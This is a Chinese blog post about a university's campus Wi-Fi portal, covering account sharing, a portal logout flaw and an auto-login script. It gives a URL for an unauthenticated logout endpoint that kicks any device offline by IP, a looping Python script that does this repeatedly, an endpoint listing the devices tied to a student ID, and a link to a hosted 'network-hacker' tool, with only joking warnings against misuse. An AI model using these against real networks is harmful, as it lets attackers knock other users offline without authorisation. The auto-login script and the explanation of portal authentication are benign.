有什么好笑的吗,感觉跟我差不多,表面上懒散随和,跟众人打成一片,但实际上走一步算十步,心思缜密远超同龄人,他们也不会想到,平日里跟他们嘻嘻哈哈的我,私下里早已和他们不是一个世界了呵呵…我就是这样的人,平时可以和你开玩笑非常随和,但是如果你触碰我的逆鳞我就会让你知道什么是真正的黑暗 这种就是童脸狼,表面上单纯天真,实际上圆滑通透。你不可能算计得了我,因为从一开始你就被我布局了。我是棋手,而你只是棋子,若你违逆我,你会知道什么是残酷和黑暗。我从来不缺雷霆手段也不缺菩萨心肠,我心中有佛也有魔,但我把魔深深的封印起来了,只剩下佛了,我本想以菩萨心肠面对所有人,可是有些人非要我把心中的魔解除封印,那我想问问你们,当你们面对一个真正的魔现世,你们还镇的住吗?

今天黑化一集,整点坏的。

——上条当咩

困了,长话短说。

BJTU校园无线网分为web.wlan.bjtuphone.wlan.bjtu两种连接&接入方式(此处不讨论有线网环境,详情翻阅之前的blog 串流部分)以下简称web和phone

Web

Portal认证登录方式,连接后会跳转到login.bjtu.edu.cn页面,输入学号和密码后认证登录。有时不跳转,则需要手动输入http://10.10.42.3/进入认证页面

Phone

phone则为需要提供账号密码的普通wifi连接方式,注意不能验证证书,否则会登录失败,PC和移动端连接失败的解决方案此前已经提及,在此不作赘述。

共享账号

贵、烂

校园网收费20元/月,抛开学校无线网ipv6缺失、教学区信号覆盖不完善等等等问题不谈,尽管千兆对等的公网教育专线给信息中心的🐎来了一个复活币,让我可以不攻击它,但这个价格仍然偏高,但很多宿舍有宽带的同学会选择共享上网账号

网络卡顿不能全赖它

学校的部分宿舍区(如嘉园✌)无线网已经支持了wifi6技术,理论上来说网络应该会非常稳定打游戏不卡,但是仍然会有人在游戏途中掉线卡顿红温,那么请检查你是否共享过上网账号,如果有,请注意以下内容。

在过去,我们的认知:web有连接设备数上限,而phone没有。因为web连多了,就会有设备的登录认证失效,但phone不会断开连接,因此可以无限连接

我们的认知错了!

实际上,phone也是会有连接上限的,达到上限后会踢出超额设备,但它执行踢出后,设备会自动重连,因此看起来它无法被踢下线。但实际上设备是经历了被踢下线然后重新连接的短暂重连的,正是这段时间导致了校园网的卡顿。

实践出真知

在实际实验中,可以通过使用移动设备串流PC设备,然后通过以下链接踢出移动设备,可以观察到被踢的设备串流出现了卡顿,几秒后恢复正常。

https://login.bjtu.edu.cn:802/eportal/portal/logout?callback=dr1004&login_method=1&user_account=drcom&user_password=123&ac_logout=0&register_mode=1&wlan_user_ip=请把我替换成要踢出设备的局域网ip

这个链接是简化后的校园网logout抓包,它没有进行鉴权,可以踢出任意ip的登录状态,不输入ip默认踢出自己。

当使用脚本循环踢出移动设备时,移动设备无法上网,且WiFi连接会直接中断。以下是gpt写的循环踢人python脚本,效果是踢出自己,当它跟自动登录脚本一起启动的时候非常有意思(

也可以修改url部分踢出别人,但我建议你最好不要拿它来干坏事👁👁 信息中心可以看到一切👁👁

import requests
import time
from datetime import datetime
import random
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def make_logout_request(url, session):
    """发送单个注销请求并处理响应"""
    try:
        # 打印请求信息
        timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        print(f"\n[{timestamp}] 发送请求: {url}")
        
        response = session.get(url, verify=False, timeout=5)
        
        # 打印响应内容
        print(f"[{timestamp}] 状态码: {response.status_code}")
        print(f"[{timestamp}] 响应内容: {response.text.strip()}")
        
        # 解析响应内容
        if "result\":1" in response.text:
            print(f"[{timestamp}] 注销状态: 成功")
            return True
        else:
            print(f"[{timestamp}] 注销状态: 失败")
            return False
            
    except requests.exceptions.Timeout:
        print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 请求超时")
    except requests.exceptions.ConnectionError:
        print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 连接错误")
    except Exception as e:
        print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 意外错误: {e}")
    return False

def main():
    url = "https://10.10.42.3:802/eportal/portal/logout?callback=dr1004&user_account=drcom&user_password=123&wlan_user_ip="
    session = requests.Session()
    
    # 请求计数器
    request_count = 0
    success_count = 0
    failure_count = 0
    
    print("开始持续发送注销请求...")
    print("按 Ctrl+C 停止")
    
    try:
        while True:
            request_count += 1
            print(f"\n正在执行第 {request_count} 次请求")
            success = make_logout_request(url, session)
            
            if success:
                success_count += 1
            else:
                failure_count += 1
            
            # 每100次请求显示统计信息
            if request_count % 100 == 0:
                print(f"\n=== 统计信息 ===")
                print(f"总请求数: {request_count}")
                print(f"成功请求: {success_count}")
                print(f"失败请求: {failure_count}")
                print(f"成功率: {(success_count/request_count)*100:.2f}%")
                print("===============")
            
            # 随机延迟0.1到0.5秒
            delay = random.uniform(0.1, 0.5)
            time.sleep(delay)
            
    except KeyboardInterrupt:
        print("\n用户停止脚本")
        print(f"\n=== 最终统计 ===")
        print(f"总请求数: {request_count}")
        print(f"成功请求: {success_count}")
        print(f"失败请求: {failure_count}")
        print(f"成功率: {(success_count/request_count)*100:.2f}%")
        print("===============")

if __name__ == "__main__":
    main()

综上所述,少共享账号

共享人过多会影响你的游戏体验,你最好确保能有一个稳定的宽带来支撑你打完整把游戏,而不是在一次次不会掉线的卡顿中让自己红温

同时也为自己之前宣传phone可以无限连接道歉

红豆泥私密马赛

踢人小工具

结合https://login.bjtu.edu.cn:802/eportal/portal/online_list?user_account=【学号】 这个奇妙小接口,可以查询学号对应的上网设备,结合循环踢人脚本,从而实现当面断他网的假装黑客表演,我试过了确实很好玩(

但你最好别滥用👁👁 因为我也在盯着你👁👁

在线版

https://love.nimisora.icu/network-hacker

做了个在线版,必须要连接着校园网才能用,请求由访问者发起,与网站无关,还是不要干坏事

自动登录

适用人群

如果你接入了BJTU 有线网,且账号被多人共用。那么为了保证有线设备登录的有效性,应当设置自动登录脚本来确保维持登录状态。

其实登录掉了也不会影响串流,v6入站和出站插上了网线就会有,只有v4出站是需要登录认证的

原理

当处于登录状态时,登录页的title是不同的,为注销页。未登录时,网页标题为上网登录页。通过每秒钟循环检测网页标题来确保维持在登录状态。

GPT代码实现

import requests
import logging
from datetime import datetime, timedelta
import os
import time

params = {
    'user_account': '你的学号',
    'user_password': '你的校园网密码',
}
login_ip = 'https://login.bjtu.edu.cn'
login_api = 'https://login.bjtu.edu.cn:802/eportal/portal/login'

sign_in_title = '注销页'
non_sign_in_title = '上网登录页'
success_sign = 'Portal协议认证成功!'

# 创建一个名为 "NetworkLogger" 的日志记录器
logger = logging.getLogger("NetworkLogger")
logger.setLevel(logging.INFO)

# 创建一个写入文件的处理器,每天生成一个新文件
log_dir = "D:/react/autologin/log/"
if not os.path.exists(log_dir):
    os.makedirs(log_dir)

log_filename = f"{log_dir}network_log_{datetime.now().strftime('%Y%m%d')}.log"
handler = logging.FileHandler(log_filename, encoding='utf-8')
handler.setLevel(logging.INFO)

# 创建一个格式化器并将其添加到处理器
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
handler.setFormatter(formatter)

# 将处理器添加到日志记录器
logger.addHandler(handler)

# 定义日志文件的保留期限为15天
retention_period = timedelta(days=15)
now = datetime.now()

# 遍历日志文件目录,删除超过保留期的日志文件
for filename in os.listdir(log_dir):
    file_path = os.path.join(log_dir, filename)
    if os.path.isfile(file_path) and filename.startswith("network_log_"):
        # 获取文件的修改时间
        file_modified_time = datetime.fromtimestamp(os.path.getmtime(file_path))
        # 如果文件超过保留期,则删除
        if now - file_modified_time > retention_period:
            try:
                os.remove(file_path)
                logger.info(f"Deleted old log file: {filename}")
            except Exception as e:
                logger.error(f"Failed to delete log file {filename}: {e}")

# 循环检查登录状态
while True:
    try:
        result = requests.get(login_ip)
        if non_sign_in_title in result.text:
            response = requests.get(login_api, params=params)
            logger.info(f"Login attempt response: {response.text}")
        else:
            # 如果已登录,不记录日志
            continue  # Skip logging when already logged in
    except requests.RequestException as e:
        logger.error(f"Error during login attempt: {e}")

    # 等待1秒再进行下一次检查
    time.sleep(1)

# 移除处理器,避免多次添加处理器导致重复记录
logger.removeHandler(handler)

注册服务

把环境配置好,运行起来这个python脚本,将其重命名为pyw格式来静默执行

使用快捷键 Windows+R 调出运行命令,然后输入 taskschd.msc,回车。中间正在显示的,就是我们的任务计划程序库。

添加一个计划任务——autologin,核心设置如下。

当登录时触发

操作是使用pythonw的绝对路径来执行这个pyw文件 注意是pythonw.exe不是python.exe

设置中要把如果任务运行时间超过以下时间,停止任务取消勾选

附上计划任务设置的参考教程:https://zhuanlan.zhihu.com/p/33722601

科普小知识

Portal认证简介

Portal认证是网络接入控制方案(NAC)中的一种。Portal认证通常也称为Web认证,一般将Portal认证网站称为门户网站。用户上网时,必须在门户网站进行认证,只有认证通过后才可以使用网络资源。

Portal认证安全性较低,但是无需客户终端安装客户端软件,网络部署灵活。相较而言,NAC中的802.1X认证方式安全性高,但是由于需要用户终端需要安装客户端软件,部署不灵活;而MAC认证方式同样不需要安装客户端,但是需要在认证服务器上登录MAC地址,管理复杂。

Portal认证一般适用于用户分散且流动性较大的场景,例如公司访客。